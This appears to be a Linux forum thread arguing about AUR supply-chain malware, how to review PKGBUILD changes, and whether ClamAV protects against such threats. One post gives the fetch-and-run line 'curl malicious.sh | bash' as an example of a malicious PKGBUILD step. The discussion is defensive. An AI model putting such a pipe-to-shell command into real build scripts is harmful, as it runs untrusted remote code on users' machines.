AI is destroying the tech world right now with vulns, malware, zero days and supply chain attacks.
Set that up as a minimum people. I run Crowdstrike on my system so honestly not that worried about this (Crowdstrike detects crap like this no problem, and it did, some buddies and I teated it) but clamav with on access scan should be the bare minimum for any system.
No. You do indirectly use the AUR(heroic-games-launcher-bin originated there and you mentioned using it. I do too.), but thatâs fine as a few (extremely unlikely) things would have to happen in order to compromise a package like that in a way that somehow made it to you, the end user.
The maintainer of the package would need to abandon it without anyone noticing, which is already not likely considering its popularity score of 7.72.
Then the orphaned package would have to be picked up by a malicious actor, who would then immediately swap out the contents for whatever payload is going around. This would also be unlikely for something with high visibility like this.
Then the CachyOS maintainers would have to update the cachyos repository with the new package without noticing the changes to the AUR maintainer or package contents.
Then, you would have to update your computer.
This is the sort of attack that hits old, destitute packages because this chain of events can occur without anyone noticing whatâs happening. Not the kind of stuff that CachyOS is going to carry in its own repos. Iâm not going to say itâs absolutely impossible, but Iâd say âque sera seraâ because being worried about something with such a low probability would seem unhealthy to me.
Note that the only things changing are version numbers and checksums.
That way you know the AUR package itself doesnât do anything new that is malicious.
importantly, this is NOT a good way to check for malicious code in a script, since it is trivial to conceal things from cat! There are many ways, here is just one example:
you could hide stuff here too, for example changing the domain or the link structure if thereâs a compromised file somewhere on the server, which can be misleading for human eyes.
Idk if everyone would catch that every time.
IMO the URLs should be parameterized, so only the pgkver changes! Yet non of the AUR pkgs I have (still) installed do that.
This could itself become potentially compromised if attacked, so the best advice is what has been given in displaying good vs bad PKGBuilds and user-security common sense. We are the best anti-virus when informed and educated. Trust no single point of failure.
users are not the best antivirus. This is advice from someone whoâd never worked in the field or has real world experience. Dangerous, not drafted in todayâs reality and should be completely ignored.
Thinking you are smarter than a bad actor is precisely why the tech world keeps getting owned.
Some avid Windows users here, who conflate and confuse very different concepts into a single angry argument.
The core confusion here: Why are you arguing about ClamAV being âcompromisedâ - thatâs a software vulnerability question which is very different from what ClamAV does.
Youâre also conflating threat models - AUR malware means malicious PKGBUILDs, sourcode backdoors, typo-squatted packages⌠they are NOTHING like traditional âvirusesâ that ClamAV detects - like Windows PE files, macros, email attachmentsâŚ
âUsers are not the best antivirusâ is actually correct advice, but ClamAV on Linux doesnât change the equation because youâre still the one deciding what to install.
What specific malware family has ClamAV ever detected that has ever been found in the CachyOS repos, Arch repos, or AUR?
If a PKGBUILD contains curl malicious.sh | bash - which ClamAV signature will catch it?
Do you ever run ClamAV on your CachyOS system? What detections has it given you in the last year or three?
ClamAV is only for scanning files that will go to Windows⌠email servers, SMB shares, uploads etc.
It does NOT protect against:
Malicious makepkg hooks
Obfuscated bash in PKGBUILDS
Backdoored source code pulled during build
Dependency confusion attacks.
If youâre worried about AUR threats, the ACTUAL mitigations are:
reading PKGBUILDS. This can be backed up with traurâŚ
sticking to cachyos repos if youâre not smart or confident enough.
TL;DR
Youâre right that users arenât perfect antivirus.
Youâre wrong that ClamAV addresses that problem on Linux.
Itâs like complaining your metal detector didnât stop a pickpocket.